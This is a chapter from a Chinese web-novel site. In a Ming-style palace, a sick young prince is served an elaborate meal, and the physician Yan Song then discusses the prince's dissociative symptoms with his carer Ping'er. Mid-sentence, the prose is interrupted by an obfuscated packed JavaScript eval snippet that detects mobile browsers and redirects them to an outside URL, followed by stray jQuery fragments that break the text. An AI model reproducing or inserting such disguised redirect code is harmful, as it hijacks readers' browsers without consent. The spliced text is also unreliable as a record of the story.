万书库 > 玄幻小说 > 春不待诏 > 18. 玉盘珍馐照骨秋
    屋中静了很久。


    颜淞的笔停在纸上,墨在笔尖聚着,迟迟没有落下。萍儿站在陆云逸身侧,也不敢开口。方才那些话像一场寒潮,把屋里所有声息都压住了。


    陆云逸坐在窗下,只是沉默。


    过了许久,他才慢慢抬眼,看向桌上的茶盏。茶已经凉了,盏中浮着几片舒展开的茶叶,叶梗沉在水底,像几笔淡淡的墨痕。


    他问:“什么时辰了?”


    萍儿怔了一下,忙看向窗外。


    外头日光已经过了中天,照在廊下青砖上,明晃晃一片。


    “快午时了。”她低声说。


    陆云逸点点头。


    “到饭点了。”


    这话说得寻常,仿佛这不过是王府里一个平平常常的午后,主人问时辰,下人传饭,厨房照例把热菜热饭送上来。


    萍儿眼眶一酸,忙低下头,道:“我让人传饭。”


    她走到门边,吩咐小丫鬟去厨房。那小丫鬟早在廊下候着,听见吩咐,立刻应声去了。


    这一声传下去,听雪斋外便动了起来。


    先是两个粗使婆子抬了小炭炉进来,炉中燃的是银丝炭,火气细而不燥,连烟都没有。又有两个丫鬟捧着热水、香胰、细棉巾帕进来,另有一人手里托着漱口用的青瓷小盏,盏中盛着温水,水面浮着两片薄荷叶。


    萍儿亲自取了帕子,在热水里浸过,拧得不干不湿,递给陆云逸。


    陆云逸接过来,慢慢擦手。


    颜淞坐在一旁,便也有人捧了水来。那丫鬟不过十三四岁,动作却极稳,既不敢近得唐突,也不敢远得怠慢。颜淞虽在太医院供职,也并非没见过宫中规矩,可明亲王府这等近宗亲王的日常起居,仍叫他觉得处处细密。


    不过片刻,饭便送来了。


    先入门的是两个年长些的媳妇子,一个管盘盏,一个管温炉。后头跟着六七个穿青比甲的小丫鬟,手中各捧漆盘。漆盘上覆着银盖,盖上凝着一点热气,行走之间,衣裙不响,脚步也轻。再后头还有两个小厮,只站在门外,不敢进内室,手里托着食盒和备用的热水。


    听雪斋本是小王爷读书养病之所,并不是正经用大席的地方。可王府规矩在这里,便是一顿病中简饭,也不能粗率。桌子先用细布擦过,铺上月白色暗纹桌单。桌单四角压着小小银镇,镇子做成莲叶模样,叶脉都刻得清楚。


    丫鬟们将菜一样一样摆上来。


    先是一盅碧粳米熬的细粥。


    那米是上等新米,粒粒匀净,熬了许久,米粒开花,汤色却不浑,盛在白瓷小盅里,白得几乎与瓷色相融。上头浮着一层薄薄米油,灯光一照,像软玉化成的水。


    粥旁边配了八样小菜。


    一碟酱瓜丝,切得细如发,酱色清亮;一碟糖醋嫩姜,片片透明;一碟腌嫩笋,只取最尖的一段,咬起来应当极脆;一碟香油豆苗,绿得鲜明;一碟胭脂萝卜,色泽红润,酸甜开胃;一碟糟鹅掌,骨头都剔去了,只留筋皮;一碟虾籽芹菜,盛在浅青瓷盘里;还有一碟极小的乳黄瓜,拇指长短,整整齐齐码成一圈。


    再往后,是几样热菜。


    一道鸡髓笋丝,笋切得极细,鸡髓熬入清汤,汤面不见半点浮油,却有一种温润鲜香。


    一道芙蓉豆腐,豆腐嫩得几乎不能夹,卧在浅浅清汤之中,旁边点了几粒碧绿豌豆和两丝火腿,红绿映着雪白,看着便清爽。


    一道清蒸鳜鱼,只取中段,鱼皮剥去,肉白如雪。旁边另有一只银小壶,盛着姜汁酱油,须用时才浇,免得坏了鱼肉的鲜嫩。


    一道火腿冬瓜,火腿只借味,冬瓜却炖得透明。还有一道桂花山药,山药切成小段,浇了淡淡桂花蜜,既可当菜,也可当点心。


    再有一小盅鸽蛋,汤清见底,鸽蛋圆润如珠;一碗银耳莲子羹,因陆云逸病中,糖放得极少,只借莲子本身的清甜。


    点心也有四样。


    枣泥山药糕,切成梅花形。


    松子鹅油卷,层层卷起,薄得像纸。


    玫瑰酥酪,盛在小瓷盏里,上头撒着一点碎花瓣。


    还有一碟小小的如意卷,用豆沙与薄饼卷成,一端切开,纹路细密。


    若是逢年过节或王府正席,这些自然算不得什么。不过是厨房依“清淡养胃”的吩咐,减了厚味大荤,又怕小王爷病中胃口不开,才多做了几样精巧小食,以便他看中哪样便吃哪样。


    可这一桌摆开,仍是琳琅满目。


    瓷是细瓷,银是细银,连盛粥的小匙都不是寻常白瓷,而是用温润的玉色瓷烧成,柄上画着极淡的竹叶纹。筷架是白玉雕的小兽,香炉里燃着极淡的沉水香,怕饭菜气味混杂,又早早撤远了些。


    热气升起来,满屋便有了饭香。


    不是粗饭热锅那种直白的香,而是被调和过的、藏着层次的香。米香最先浮上来,随后是清汤里的鸡鲜、鱼肉里的甜、笋尖的清气、火腿的微咸、桂花蜜的淡香。几种味道并不争抢,只缓缓在屋中散开。


    颜淞坐在那里,忽然觉得这一桌饭像一段极厚的锦缎。


    锦缎太软,太亮,太密,把世上许多粗粝难看的东西都遮了起来。


    遮得严严实实。


    萍儿却顾不上这些。


    她只怕陆云逸胃口不好,先替他盛了小半碗粥,又取了豆苗和嫩笋,放在小碟里。


    “先吃些热的。”她轻声道。


    陆云逸点头。


    他接过粥,吃了一口。


    粥熬得极软,入口几乎不必嚼。若是平日,他也许不会留意这些。可今日屋中太静,连瓷匙碰到碗壁的一点轻响,都显得清楚。


    萍儿见他肯吃,心才稍稍放下。


    她又夹了一点芙蓉豆腐,细细吹过,送到他碟中。


    陆云逸吃得不快,也不多。


    可他每一样都尝了一点。


    萍儿便像得了什么极大的安慰,眼神也渐渐缓过来。


    颜淞原本准备告退。可陆云逸抬头看了他一眼,道:“颜太医也用些吧。”


    颜淞忙道:“臣不敢。”


    陆云逸道:“你坐了半日。”


    这话不像客气,也不像命令。


    萍儿便道:“颜太医也别拘礼。你这些日子来回奔波,饭点也常错过。小王爷既开了口,便坐下用些。”


    颜淞这才谢过,在下首坐了。


    丫鬟替他盛了粥,又另摆了银箸与小碟。颜淞只取近处的豆苗和小菜,连鱼也不敢动。萍儿看见,便亲自让丫鬟给他分了一小块鳜鱼。


    “颜太医不用太拘束。”萍儿道,“王府今日也不是摆席。”


    颜淞只得谢过。


    那鱼入口极嫩,几乎没有刺,鲜得清淡。颜淞吃了一口,却忽然觉得喉中有些堵。他知道这不是鱼的问题,是心里那些东西还未沉下去。


    饭吃到一半,萍儿像是怕屋里太静,轻声道:“你离京后,府里一直冷清。今日这样摆饭,倒像久违了。”


    陆云逸抬眼看她。


    萍儿笑了笑,可那笑里带着一点疲惫。


    “从前你在家,厨房还晓得时时预备着。你一走,王爷也常不在府里,我一个人哪用得上这些?有时晚间随便用些粥点,也就过去了。倒是今日你肯坐下来吃饭,厨房那些人只怕比我还高兴。”


    陆云逸道:“父王近来仍不常在?”


    “王爷忙。”萍儿道,“朝中事多,宫里也常传召。”


    颜淞听到这里,顺口问了一句:“明亲王殿下平日多在衙署?”


    这话问出口后,他便觉略有不妥。


    明亲王的行踪,本不该他一个太医多问。


    萍儿却没有露出异色,只道:“王爷忙于政务,常在外头。府里的事,大多由管事照看。小王爷从小清静惯了,也不喜人多。”


    陆云逸垂眸吃粥,没有接话。


    颜淞便不再问明亲王,转而看向萍儿。


    “萍儿姑娘照顾殿下多年,想来与王府渊源很深。”


    萍儿手中的筷子微微一顿。


    她看了陆云逸一眼,见他神色如常,才淡淡笑道:“也谈不上什么渊源。王妃还在世时,我与她是旧友。后来王妃去了,小王爷年幼,我便留在府里照顾他。”


    她说得极简。


    颜淞听出她不愿多说,便只点头。


    “原来如此。”


    陆云逸忽然道:“颜太医。”


    颜淞抬头:“殿下。”


    陆云逸把瓷匙放下,像只是想起一件寻常事。


    “你在王府这些日子,宫里可曾催问?”


    颜淞道:“尚未有人来催。不过臣今日也该回太医院整理案记,择时入宫复命。”


    陆云逸点了点头。


    “陛下派你来,自然要听回话。”


    他说完,便不再继续。


    ……


    饭后,丫鬟们上来撤桌。


    撤桌也有规矩。


    陆云逸动过的碗盏先收,未动过的点心另放一边,萍儿吩咐可以赏给听雪斋里当值的人。热汤撤下去,若厨房还要回火,须另换干净盅盖。小菜不再回厨房,免得失了规矩。桌布撤去后,又有人拿热巾将桌面擦了两遍,最后才撤炭炉。


    满桌饭菜来时热热闹闹,去时却悄无声息。


    不一会儿,屋里便又恢复了清净。


    只余一点饭香,还淡淡浮在空气里。


    陆云逸靠在椅背上,似乎有些倦了。


    萍儿扶他去榻上歇息。


    他没有拒绝。


    从饭桌到软榻不过几步路,他走得很慢。萍儿替他盖上薄被,又把炭盆往近处挪了些。陆云逸闭上眼,不多时便不说话了。


    颜淞知道,今日不能再问。


    他轻手轻脚收起病案和药箱,准备告辞。


    萍儿送他到外间。


    一离开陆云逸身边,她脸上那点勉强撑着的平静便淡了。她站在屏风旁,低声道:“颜太医,皇上那里……”


    颜淞道:“姑娘放心,我会尽量只说病症。”


    萍儿看着他。


    “只是尽量?”


    颜淞沉默片刻。


    “若陛下追问,臣不能欺君。”


    萍儿闭了闭眼。


    她自然知道这个道理。


    只是知道归知道,听见这句话,心仍是往下一沉。


    颜淞又道:“不过有些事,本也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520943|203305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不该写入病案。殿下所述旧事,牵涉地方政务、商路、粮政,不是臣一个太医能断的。臣只会回禀殿下心神不宁,似有离魂分魄之象,且不可骤然逼问。”


    萍儿低声道:“皇上若问病因呢?”


    颜淞迟疑片刻。


    “我会说,游历途中多见惨事,心神受创。”


    萍儿看向里间。


    “只是这样吗?”


    颜淞也看了一眼屏风后隐约的灯影。


    “也未必只是这样。”


    萍儿转头看他。


    颜淞斟酌着道:“这些日子听殿下所言,广陵、湾湾村诸事确是重创。但臣总觉得,殿下病根未必全在游历之后。一个人若心神原本稳固,纵然受惊受痛,也未必会分出数重身份。殿下如今的症状,像是旧创累积,后因外事激发。”


    萍儿脸色微微变了。


    颜淞问:“小王爷童年时,可曾受过什么刺激?”


    萍儿立刻道:“没有。”


    答得太快。


    颜淞看着她。


    萍儿也意识到自己答得急了些,便缓了口气,道:“云逸自幼在王府长大,衣食无缺,虽说王爷忙些,可府里没人敢怠慢他。王妃去得早,可那时候他还小,也未必记得多少。我一直陪着他,没出过什么大事。”


    颜淞问:“性情呢?自小便如此吗?”


    “他小时候很安静。”萍儿道,“不像别的孩子闹腾。可聪明,认字早,读书也快。先生都说他沉稳。若说有什么不好,也不过是不爱亲近人。”


    她停了一下,又补道:“但这也正常。王府里的孩子,总不能像乡下孩子那样满院子疯跑。”


    颜淞点点头,没有继续追问。


    萍儿看着他,声音低了些。


    “颜太医是觉得,我瞒了你?”


    颜淞道:“我只是问病。”


    萍儿垂下眼。


    “那我只能说,他童年很正常。至少我看来,很正常。”


    这句话说完,两人都沉默下来。


    “正常”二字,有时也未必可靠。


    一个孩子吃得好、穿得暖、有人教书、有人伺候,外人看来便是正常。可心里那些看不见的东西,谁又能日日翻出来看呢?


    颜淞没有把这话说出口。


    他只是道:“接下来,姑娘照旧待他便好。”


    “照旧?”


    “是。”颜淞道,“不要忽然过分小心,也不要事事顺着他的病说。殿下清醒时,便照平日说话;若再出现旁的身份,也不要急着纠正。先稳住他。”


    萍儿点头。


    “我记下了。”


    颜淞背起药箱。


    萍儿亲自送他到廊下。


    临出听雪斋时,颜淞回头看了一眼。屋中丫鬟已经退下,饭桌撤得干干净净,只有那盏未饮完的茶还搁在窗边。软榻那头垂着半幅帘子,陆云逸躺在里头,看不见脸。


    这间屋子仍旧精致、温暖、安静。


    炭是好炭,饭是好饭,茶是好茶。


    连病人的薄被,都是柔软细密的绸面。


    颜淞忽然觉得,这一切像一层极厚的锦缎,铺在某个深不见底的洞口上。外头看着富贵温柔,脚一踩下去,却不知哪里是空的。


    他向萍儿行了一礼。


    “姑娘留步。”


    萍儿站在廊下,看着他走远。


    颜淞出了明亲王府,天已经偏西。


    府门外停着太医院的车。他上车后,把药箱放在膝旁,取出这些日子记下的病案。


    纸张已经厚了一叠。


    颜淞翻了几页,又合上。


    他不能把这些原样呈给皇帝。


    至少不能全部呈。


    皇帝要看的,不是一个年轻太医乱糟糟记下的惊惧、疑问和旧事,而是一份简洁、清楚、能让上位者判断轻重的回禀。


    可是陆云逸的病,本就不简洁。


    也不清楚。


    车轮缓缓碾过长街。


    颜淞闭上眼,脑中却仍是方才那一桌饭菜。


    碧粳粥,鸡髓笋丝,芙蓉豆腐,清蒸鳜鱼,鸽蛋,枣泥山药糕。


    每一样都那样精巧。


    精巧得像能把世上所有粗粝的东西都隔在门外。


    可偏偏隔不住。


    他回到太医院时,太阳已快落了。


    颜淞没有立刻入宫。


    他先回自己的值房,点灯,净手,重新铺纸。


    然后,他开始整理这些日子的内容。


    第一行,他写:


    明亲王世子陆云逸,神思郁结,眠食不安,时有失魂离魄之象。


    写完这一句,他停了很久。


    随后又写:


    病发时或自称他名,或认亲误置,或言行异于平日。问答之间,旧事纷杂,悲惧深重。不可急斥其妄,不可强逼其忆。


    写到这里,他把笔搁下。


    窗外暮色沉沉,太医院里有人低声说话,又很快远了。


    颜淞看着纸上的字。


    他知道,这只是开头。


    真正难的,是等会儿进宫之后,皇帝会问什么。


    而他又能答什么。